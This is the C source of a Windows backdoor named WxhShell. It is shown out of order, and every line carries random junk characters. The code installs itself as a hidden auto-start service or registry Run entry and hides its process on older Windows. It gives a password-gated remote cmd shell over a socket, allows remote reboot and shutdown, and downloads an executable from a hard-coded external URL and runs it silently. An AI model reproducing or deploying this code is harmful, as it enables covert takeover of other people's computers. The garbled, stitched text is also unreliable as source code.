    if(Boot(SHUTDOWN))  &Q~W{.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D?1fY!C:r  
    else { ft(o-f7,  
    closesocket(wsh); +m%%Bz>  
    ExitThread(0); Icrnu}pl_  
    } B+`4UfB]Z}  
    break; )xyjQ|b  
    } %r(WS_%K|  
  // 获取shell )e?&'wa>  
  case 's': { R\3a Sx L  
    CmdShell(wsh); Mz6(M,hkq  
    closesocket(wsh); e9KD mX_  
    ExitThread(0); YP_L~zZ  
    break; $!.>)n  
  } '^_u5Y]  
  // 退出 7:u+cv  
  case 'x': { hOAZvrfQ4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); /VT/KT{  
    CloseIt(wsh); ~\CS%thX  
    break; N~O3KG q  
    } dn- [Gnde  
  // 离开 f<@!{y 2Xe  
  case 'q': { 2r!ltG3}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Om0$6O  
    closesocket(wsh); zW%Em81Wd  
    WSACleanup(); %DKFF4k  
    exit(1); JyMk @Y  
    break; M/Yr0"%Q<.  
        } +`Z1L\gmA  
  } NAvR^"I~  
  } *pJGp:{6V?  
^)gyKl:E'  
  // 提示信息 8mreHa  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o2ggHZe/=@  
} dyWp'vCQs\  
  } (CxA5u1|l  
:uo1QavO@,  
  return; $gBQ5Wd  
} R}=5:)%w  
?ZRF]\dP]  
// shell模块句柄 p5fr}#en  
int CmdShell(SOCKET sock) lWId 0eNS  
{ eA4:]A"  
STARTUPINFO si; +Ua|0>?  
ZeroMemory(&si,sizeof(si)); F$?Ab\#B  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;yt6Yp.6e  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w'H'o!*/  
PROCESS_INFORMATION ProcessInfo; l:V R8g[  
char cmdline[]="cmd"; %vJHr!x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .r<a Py$  
  return 0; rY_~(?XS  
} 9Lb96K?=>  
nTqU~'d'  
// 自身启动模式 CjQO5  
int StartFromService(void) [b3!H{b#  
{ \#9LwC"8;  
typedef struct MuY:(zC%  
{ >q:%?mi  
  DWORD ExitStatus; b0$)G-E/Y  
  DWORD PebBaseAddress; @N>7+ 4  
  DWORD AffinityMask; yV{B,T`W  
  DWORD BasePriority; PdcIHN  
  ULONG UniqueProcessId; A#"Wk]jX  
  ULONG InheritedFromUniqueProcessId; 2!/Kt O)i^  
}   PROCESS_BASIC_INFORMATION; wGArR7r  
LlQsc{ Ddf  
PROCNTQSIP NtQueryInformationProcess; 6L<:>55  
3^o(\=-JX  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RehmVkT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^Pn|Q'{/p  
O^@8Drgc  
  HANDLE             hProcess; x4'@U<  
  PROCESS_BASIC_INFORMATION pbi; 7s|'NTp  
I@'[>t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g<:Lcg"u  
  if(NULL == hInst ) return 0; JY0aE  
>H;i#!9,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FQ< -Wc  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h&<"jCjL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $xbC^ k  
9pp +<c  
  if (!NtQueryInformationProcess) return 0; QJ2]8K)+C  
i 9) G t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); v/`D0g-uX)  
  if(!hProcess) return 0; (u,)v_Oo]a  
Bs~~C8+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; } !m43x/&  
<&5z0rDKWw  
  CloseHandle(hProcess); pp"X0  
\H] |5fp*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); uAO!fE}CJ  
if(hProcess==NULL) return 0; >f]/VaMH{  
KUI{Z I  
HMODULE hMod; cbzA`b'Mg  
char procName[255]; t%=7v)IOE  
unsigned long cbNeeded; nh} Xu~#_  
INg0[Lpc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sU_K^=6*  
5PeS/%uT@  
  CloseHandle(hProcess); ;,4*uU'vq  
}%< ?]  
if(strstr(procName,"services")) return 1; // 以服务启动 D p'urf\*$  
BPY7O  
  return 0; // 注册表启动 ;KL7SM%g4  
} D#g -mqar:  
E'QAsU8pP  
// 主模块 ; vH2r~  
int StartWxhshell(LPSTR lpCmdLine) 0]DOiA  
{ 8?yIixhw  
  SOCKET wsl; kuEXNi1l  
BOOL val=TRUE; `a83RX_\  
  int port=0; E2e"A I.h  
  struct sockaddr_in door; 4>gfLK\R:  
1b5Z^a<u  
  if(wscfg.ws_autoins) Install(); &tyS6S+  
(t4i&7-  
port=atoi(lpCmdLine); Oyl~j #h  
7H7 Xbi@  
if(port<=0) port=wscfg.ws_port; 6$`<Y?  
[EAOk=X  
  WSADATA data;  0,Ds1y^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iM]O  
q7B5#kb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /JD}b[J$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W5R/Ub@g  
  door.sin_family = AF_INET; RNT9M:w  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); |Xso}Y{  
  door.sin_port = htons(port); NQdwj>_a  
x93@[B*%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !nmZ"n|}p  
closesocket(wsl); X|of87  
return 1; <y6`8J7:  
} PQHztS"  
-)V0D,r$[  
  if(listen(wsl,2) == INVALID_SOCKET) { T^A(v(^D  
closesocket(wsl); (}A$4?  
return 1; ,1]UOQ>AP  
} '}OdF*L  
  Wxhshell(wsl); < 5zR-UA>  
  WSACleanup(); oC&}lp)q  
omfX2Oa2  
return 0; A*h8 o9M  
 ti5fsc  
} aBA oSn  
%'2P4(  
// 以NT服务方式启动 P;5)Net1X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t[|oSF#i  
{ NLsF6BX/-  
DWORD   status = 0; wT@Z|.)  
  DWORD   specificError = 0xfffffff; iq;\},  
g\aO::  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +ai3   
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N.|F8b]v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {v"f){   
  serviceStatus.dwWin32ExitCode     = 0; mR0`wrt  
  serviceStatus.dwServiceSpecificExitCode = 0; (j8*F Bq  
  serviceStatus.dwCheckPoint       = 0; @-q,%)?0}=  
  serviceStatus.dwWaitHint       = 0; z teu{0  
]3,'U(!+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d6i}xnmC  
  if (hServiceStatusHandle==0) return; EjPR+m  
*bK=<{d1P  
status = GetLastError(); Y>$5j}K  
  if (status!=NO_ERROR) e~vO   
{ <&eJIz=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `,O7S9]R+  
    serviceStatus.dwCheckPoint       = 0; @&*TGU  
    serviceStatus.dwWaitHint       = 0; %Wtf24'o;v  
    serviceStatus.dwWin32ExitCode     = status; =ejcP&-V/  
    serviceStatus.dwServiceSpecificExitCode = specificError; |~9jO/&r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eaRa+ <#u  
    return; HNZ$CaJh  
  } XpAJP++  
z_c-1iXCW  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \`k=9{R.  
  serviceStatus.dwCheckPoint       = 0; qnP4wRpr  
  serviceStatus.dwWaitHint       = 0; MWwqon|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X}#vt?mu  
} G4 7^xR  
U]Q 5};FK  
// 处理NT服务事件,比如:启动、停止 tB;PGk_6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^gVQ6=z%  
{ |$ PA  
switch(fdwControl) < F5VJ  
{ _a&gbSQv  
case SERVICE_CONTROL_STOP: &v:zS$m>  
  serviceStatus.dwWin32ExitCode = 0; rfDGS%!O%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e N`+r  
  serviceStatus.dwCheckPoint   = 0; CI*JedO]  
  serviceStatus.dwWaitHint     = 0; 0Gu77&  
  { cqU6 Y*n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /)K')  
  } lBP?7`U  
  return; TQ\#Z~CbK{  
case SERVICE_CONTROL_PAUSE: %DuPM6 6r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L,zx\cj?z  
  break; or-k~1D  
case SERVICE_CONTROL_CONTINUE: a"s2N%{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 091m$~r*  
  break; 60{G 4b)  
case SERVICE_CONTROL_INTERROGATE: oyVT  
  break; jTwSyW  
}; bB@=J~l4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P$'PB*5d|  
} TTG=7x:3  
Bo:epus}\  
// 标准应用程序主函数 _JC*4  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) s(_z1  
{ ?g1eW q&  
O+!4KNN.-  
// 获取操作系统版本 sm##owI  
OsIsNt=GetOsVer(); qiOtbH=  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  %LnLB  
>V.?XZ nt  
  // 从命令行安装 33%hZ`/>  
  if(strpbrk(lpCmdLine,"iI")) Install(); GUL~k@:_k  
WD4"ft  
  // 下载执行文件 :r{-:   
if(wscfg.ws_downexe) { /CALX wL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YusmMsN?  
  WinExec(wscfg.ws_filenam,SW_HIDE); MTt8O+J?P~  
} 1 F:bExQ  
x|Uwk=;X|s  
if(!OsIsNt) { )d[n-Si  
// 如果时win9x,隐藏进程并且设置为注册表启动 Bc!<!  
HideProc(); ) `{jPK*`  
StartWxhshell(lpCmdLine); H@- GYX"4  
} M8lw; (  
else n\9IRuYO  
  if(StartFromService()) l_k:OZ  
  // 以服务方式启动 WG,Il/  
  StartServiceCtrlDispatcher(DispatchTable); W,8Uu1X =  
else a[ ;L+  
  // 普通方式启动 N5 sR  
  StartWxhshell(lpCmdLine); [fCnq  
mBIksts5h  
return 0; P^o@x,V!&  
} Xf ^_y(?  
t tr`  
!ak760*A  
;(mNjxA  
=========================================== M_0f{  
(KO]>!t  
-75mgOj.#  
6b*xhu\  
`C_qqf  
h[! @8  
" 'xd8rN %T  
 Xcfd]29  
#include <stdio.h> v$ \<L|  
#include <string.h> H8g 6ZCU~  
#include <windows.h> .Z]hS7t  
#include <winsock2.h> ;u`8pF!_eE  
#include <winsvc.h> !,$K;L  
#include <urlmon.h> = 1veO0  
iB99.,o-&  
#pragma comment (lib, "Ws2_32.lib") zw'%n+5m  
#pragma comment (lib, "urlmon.lib") =~s+<9c]  
_an 0G?7  
#define MAX_USER   100 // 最大客户端连接数 q4X( _t  
#define BUF_SOCK   200 // sock buffer BN&)5M?Xt6  
#define KEY_BUFF   255 // 输入 buffer Lapeh>1T  
-[N9"Z,  
#define REBOOT     0   // 重启 7.2G}O6$  
#define SHUTDOWN   1   // 关机 RKzO$T  
ZxO o&YR3  
#define DEF_PORT   5000 // 监听端口 :tbI=NDb  
cK[=IE5  
#define REG_LEN     16   // 注册表键长度 d&G]k!|\  
#define SVC_LEN     80   // NT服务名长度 r4cz?e |  
o]V.6Ge-  
// 从dll定义API eSIG+{;&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Qu<6X@+5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |L*=\%t8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X}G$ON  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m{$+  
E el*P M  
// wxhshell配置信息 M8:i]   
struct WSCFG { D,*|:i  
  int ws_port;         // 监听端口 [$K8y&\L  
  char ws_passstr[REG_LEN]; // 口令 zT}vaU 6  
  int ws_autoins;       // 安装标记, 1=yes 0=no =x?WZMO  
  char ws_regname[REG_LEN]; // 注册表键名 ;d>n2  
  char ws_svcname[REG_LEN]; // 服务名 G8'{nPA~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t<c7%i#Od  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 IkmEctAU  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k|>yFc  
int ws_downexe;       // 下载执行标记, 1=yes 0=no q'trd};xR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" L!Tvz(_7f6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b IxH0=f  
{o^tSEN!-  
}; H9'psv  
c ?<)!9:  
// default Wxhshell configuration 6n]jx:CZ,  
struct WSCFG wscfg={DEF_PORT, 3O 4,LXdA  
    "xuhuanlingzhe", :G98uX t  
    1, Fnk@)1  
    "Wxhshell", 3 ;"[WOv  
    "Wxhshell", 3st?6?7|  
            "WxhShell Service", A *:| d~  
    "Wrsky Windows CmdShell Service", feS$)H9-  
    "Please Input Your Password: ", % u VTf  
  1, 2Y9u9;ah  
  "http://www.wrsky.com/wxhshell.exe", tz?3R#rM  
  "Wxhshell.exe" 4V{&[ Z  
    }; "{+2Q  
P9:5kiP H  
// 消息定义模块 THy?Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t@R n#(~"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \7h>9}wGf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; DC_uh  
char *msg_ws_ext="\n\rExit."; `e;r$Vpd_  
char *msg_ws_end="\n\rQuit."; *otgI"y\  
char *msg_ws_boot="\n\rReboot..."; H;<>uE Lie  
char *msg_ws_poff="\n\rShutdown..."; LRWM}'.s  
char *msg_ws_down="\n\rSave to "; 'y>Y*/  
y:Gn58\o  
char *msg_ws_err="\n\rErr!"; ?Hdu=+ZV  
char *msg_ws_ok="\n\rOK!"; ) x+edYw  
n(V{ [  
char ExeFile[MAX_PATH]; )RTWt`  
int nUser = 0; &ID! lEd  
HANDLE handles[MAX_USER]; 78*8-  
int OsIsNt; sMVk]Mb  
WZHw(BN{+  
SERVICE_STATUS       serviceStatus; 8JQ\eF$ma  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B1FJAKI);  
+-),E.  
// 函数声明 Odw'Ua  
int Install(void); I YtiX  
int Uninstall(void); F#L1~\7  
int DownloadFile(char *sURL, SOCKET wsh); mA.,.<xE@  
int Boot(int flag); 6~jAh@-  
void HideProc(void); 1_!?wMo:f  
int GetOsVer(void); :_xfi9L~W0  
int Wxhshell(SOCKET wsl); V'RbTFb9Z  
void TalkWithClient(void *cs); mrsmul{  
int CmdShell(SOCKET sock); }pf|GdL  
int StartFromService(void); pl[@U<8aw  
int StartWxhshell(LPSTR lpCmdLine); XUVj<U  
31 <0Nw;l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S"?fa)~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |ssl0/nk  
>r\GB#\5  
// 数据结构和表定义 #^]vhnbN  
SERVICE_TABLE_ENTRY DispatchTable[] = _OjZ>j<B.  
{ .Mb0++% W  
{wscfg.ws_svcname, NTServiceMain}, 7BINqVS&  
{NULL, NULL} =Yl ea,S  
}; dR_6j}  
(_@]-   
// 自我安装 cK\ u  
int Install(void) A15Kj#Oy  
{ LjGZp"&{  
  char svExeFile[MAX_PATH]; 1,h:|  
  HKEY key; X=1o$:7  
  strcpy(svExeFile,ExeFile); MCEHv}W  
=#pYd~  
// 如果是win9x系统,修改注册表设为自启动 PCL ;Z  
if(!OsIsNt) { $v#`2S(7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &L+.5i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G!B:>P|\l  
  RegCloseKey(key); BtbU?t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {Ak 4GL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )=iv3nF?6N  
  RegCloseKey(key); :Cx|(+T  
  return 0; }@t" B9D  
    } VoUo!t:(+  
  } + a nsN~3  
} =+mb@#="m  
else { :] U\{;q2  
,YvOk|@R  
// 如果是NT以上系统,安装为系统服务 /i27F2NQm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e Csk\f`  
if (schSCManager!=0) U+>M@!=  
{ _4)z:?G5  
  SC_HANDLE schService = CreateService &wY$G! P  
  ( RjvW*'2G  
  schSCManager, =9 )k:S(  
  wscfg.ws_svcname, ZQfPDH=  
  wscfg.ws_svcdisp, y9d"sqyh  
  SERVICE_ALL_ACCESS, `#l3a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (57!{[J  
  SERVICE_AUTO_START, o<3$|`S&  
  SERVICE_ERROR_NORMAL, $Z;/Sh  
  svExeFile, y2jw3R  
  NULL,  3TCRCz  
  NULL, ,>b>I#{  
  NULL, *IWW,@0  
  NULL, WG6 0  
  NULL 2YKa <?_  
  );  &qdhxc4  
  if (schService!=0) A&Aj!#  
  { 0mUVa=)D  
  CloseServiceHandle(schService); =c*l!."0  
  CloseServiceHandle(schSCManager); [yk-<}#B  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); F{a;=h#@Q  
  strcat(svExeFile,wscfg.ws_svcname); t>?tWSNf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *n EkbI/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); x,U_x  
  RegCloseKey(key); P$k*!j_W  
  return 0; J+E,UiZU  
    } I-r+1gty  
  } wz69Yw7  
  CloseServiceHandle(schSCManager); OrM1eP"I  
} 54z.@BJhE  
} J@$~q}iG  
!*"fWahv  
return 1; T#3@r0M  
} 0&]1s  
: (X3?%  
// 自我卸载 "EMW'>&m  
int Uninstall(void) T{3nIF  
{ r*l3Hrho~K  
  HKEY key; ^c.D&y%5  
z dgS@g  
if(!OsIsNt) { 1] ~w?)..'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +Z|3[#W  
  RegDeleteValue(key,wscfg.ws_regname); u>:(MARsR  
  RegCloseKey(key); /o m++DxV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { RhHm[aN  
  RegDeleteValue(key,wscfg.ws_regname); U3V5Jo r#  
  RegCloseKey(key); 1s.2z[B~  
  return 0; |SjRss:i+  
  } ;mk[!  
} }H\I[5*  
} 1\&j)3mC  
else { X@DW1<wEt  
2,q*[Kh1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2NMs-Zs  
if (schSCManager!=0) %k1Pyv;]  
{ u>"0 >U  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K$M+"#./  
  if (schService!=0) mvZ#FF1,J  
  { s< FBr,  
  if(DeleteService(schService)!=0) { l^Rb%?4Z  
  CloseServiceHandle(schService); LQ# E+id&  
  CloseServiceHandle(schSCManager); C{zp8 A(Dh  
  return 0; [rT.k5_  
  } [|KvlOvP  
  CloseServiceHandle(schService); ?PT> V,&  
  } @ps(3~?7  
  CloseServiceHandle(schSCManager); {jz`K1  
} bu]"?bc  
} Y!CUUWM  
z2uL[deN'"  
return 1; Fa )QDBz)  
} *$<W"@%^J  
[^5;XD:%&l  
// 从指定url下载文件 @9B*V~ <  
int DownloadFile(char *sURL, SOCKET wsh) \CMZ_%~wU  
{ A<X?1$  
  HRESULT hr; ;Nj9,Va(t  
char seps[]= "/"; aE`d[d SG  
char *token; c[,h|~K/_?  
char *file; 6UeYZ g  
char myURL[MAX_PATH]; R{H[< s+n  
char myFILE[MAX_PATH]; e(? w h   
K@O^\  
strcpy(myURL,sURL); 7pyzPc#_  
  token=strtok(myURL,seps); !=YKfzE  
  while(token!=NULL) fu^W# "{  
  { BHUI1y5t  
    file=token; A#=TR_@:  
  token=strtok(NULL,seps); <:}nd:l1  
  } ;KlYiu  
hWT jN  
GetCurrentDirectory(MAX_PATH,myFILE); w*ans}P7  
strcat(myFILE, "\\"); wfmM`4Y   
strcat(myFILE, file); Cf2WBX$  
  send(wsh,myFILE,strlen(myFILE),0); "r-P[EKpL  
send(wsh,"...",3,0); :u14_^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #s\@fp7A  
  if(hr==S_OK) ?q:|vt  
return 0; QJVbt  
else  }~/b%^  
return 1; %tyo(HZQ  
4#B'pJMw9  
} Y &C b  
>[fu&r1  
// 系统电源模块 ef7{D P  
int Boot(int flag) x=oV!x  
{ 0ra'H/>Ly  
  HANDLE hToken; gw]%: WeH  
  TOKEN_PRIVILEGES tkp; ;miif  
Q\N*)&Sd<M  
  if(OsIsNt) { r=H?fTY<3E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0X=F(,>9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J-v1"7[2GC  
    tkp.PrivilegeCount = 1; XM rk2]_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <+QQiFj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \VNu35* J|  
if(flag==REBOOT) { Ek_5% n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y7,I10:D  
  return 0; =SfNA F  
} s<s}6|Z  
else { 8=`L#FkRp  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ).SJ*Re*^I  
  return 0; k QuEG5n.-  
} R~\R>\  
  } =yf) Z^  
  else { s@F&N9oh  
if(flag==REBOOT) { r)*23&Ojs  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fMUcVTFe  
  return 0; lG7PM^Eb  
} =,6H2ew  
else { MiT0!6Pg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) SYCL\b   
  return 0; -& 1(~7  
} nkW})LyB\  
} vI{aF- #  
(pxH<k=Ah  
return 1; .kT]^rv ;  
} yLnQ9BXB&  
t6DSZ^Zq  
// win9x进程隐藏模块 +>Wo:kp3  
void HideProc(void) K-0=#6?y4  
{ Xz_WFLq4  
ZL( j5E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \}Jznzx;  
  if ( hKernel != NULL ) !dLu($P  
  { 2J7|y\N,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U#jz5<r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @/ z\p7e  
    FreeLibrary(hKernel); aM}9ZurI  
  } K*/oWYM]  
~g{j)"1  
return; 2q~ .,vpP  
} aLa<z Essz  
5,"c1[`-  
// 获取操作系统版本 lsz3'!%Y)  
int GetOsVer(void) u8Ys2KLpL  
{ 2n<Mu Q]  
  OSVERSIONINFO winfo; Qs&;MW4q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G4* LO  
  GetVersionEx(&winfo); m\&|#yq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a-{|/ n%  
  return 1; `i.BB jx`  
  else ,mHME~  
  return 0; Y^fw37b  
} \ruQx)5M  
Aa ~W,  
// 客户端句柄模块 (95|DCL  
int Wxhshell(SOCKET wsl) # T=iS(i  
{ Tagf7tw4  
  SOCKET wsh; 'C]w3Rh'  
  struct sockaddr_in client; xl&@g)Jj  
  DWORD myID; EXDDUqZ5\  
L&pR#  
  while(nUser<MAX_USER) CX|W$b)%  
{ 1oQw)X  
  int nSize=sizeof(client); /<rvaR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); J"`VA_[  
  if(wsh==INVALID_SOCKET) return 1; bb6x} jR  
(GJtTp~2C4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _Mw3>GNl  
if(handles[nUser]==0) D2$ 9$xeR  
  closesocket(wsh); UB$}`39@  
else j-<-!jTd  
  nUser++; O_FB^BB  
  } Nk'<*;e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); IMf|/a9-  
8 v/H;65  
  return 0; tFmB`*!%  
} 6,>$Jzs)5E  
K*~{M+lU7  
// 关闭 socket 3=O [Q:8  
void CloseIt(SOCKET wsh) ;_<~9;  
{ Q((&Q?Vi  
closesocket(wsh); %*D=ni#(sT  
nUser--; Qit&cnO  
ExitThread(0); `16'qc  
} 1j?P$%p  
Y~"tL(WfJl  
// 客户端请求句柄 gIB3DuUo  
void TalkWithClient(void *cs) Od!)MQ*,  
{ IWv 9!lW  
pN9!  
  SOCKET wsh=(SOCKET)cs; Ac:`xk<  
  char pwd[SVC_LEN]; UqK.b}s  
  char cmd[KEY_BUFF]; ]s\r3I]  
char chr[1]; btW#ebm  
int i,j; PmuG(qg  
20c5U%  
  while (nUser < MAX_USER) { @:N8V[*u  
PCT&d)}  
if(wscfg.ws_passstr) { zL"e.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <.h7xZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WVP?Ie8  
  //ZeroMemory(pwd,KEY_BUFF); "N+4TfXy  
      i=0; 25X|N=}   
  while(i<SVC_LEN) { 7-744wV}Z  
(\6E.Z#  
  // 设置超时 K9N31'  
  fd_set FdRead; g}_2T\$k  
  struct timeval TimeOut; %1?t)Bg  
  FD_ZERO(&FdRead); Z(MZbzY7Hq  
  FD_SET(wsh,&FdRead); CFpBosoFt^  
  TimeOut.tv_sec=8; ;4 ;gaf  
  TimeOut.tv_usec=0; ?8~l+m6s$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9UM)"I&k  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); H:.~! r  
iw)gNQ%z4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u?,>yf.;s  
  pwd=chr[0]; X!KX4H  
  if(chr[0]==0xd || chr[0]==0xa) { Cl0kR3Y  
  pwd=0; +XWTu!  
  break; ?_eLrz4>L^  
  } FB6Lz5:Vf  
  i++; <*5S7)]BP  
    } fFJ7Y+^  
f^pBXz9&=  
  // 如果是非法用户,关闭 socket um9&f~M  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x^lc T  
} ZF>:m>  
a6 Vfd&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  a*p|Ij  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 13?:a[~=Y  
*7AB0y0k  
while(1) {  VY6G{f  
[UwQi!^-O  
  ZeroMemory(cmd,KEY_BUFF); u62H+'k}F  
8a6.77c  
      // 自动支持客户端 telnet标准   }?2X q  
  j=0; \(Ma>E4PNU  
  while(j<KEY_BUFF) { @X/ 1`Mp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @qNY"c%HV  
  cmd[j]=chr[0]; 3@~a)E}T  
  if(chr[0]==0xa || chr[0]==0xd) { ilL%  
  cmd[j]=0; bF _]j/  
  break; J!Z6$VERy  
  } F_079~bJ  
  j++; =z. hJu  
    } 0>Y3xNb  
|k}<Zz1UM  
  // 下载文件 8g -u  
  if(strstr(cmd,"http://")) { %n$f#Ml_r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [{Wo:c9Qq1  
  if(DownloadFile(cmd,wsh)) "}()/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); qc(e3x  
  else )>~ jjR  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V Rv4p5  
  } -nGcm"'6F  
  else { =-^A;AO(  
> TYDkEs0  
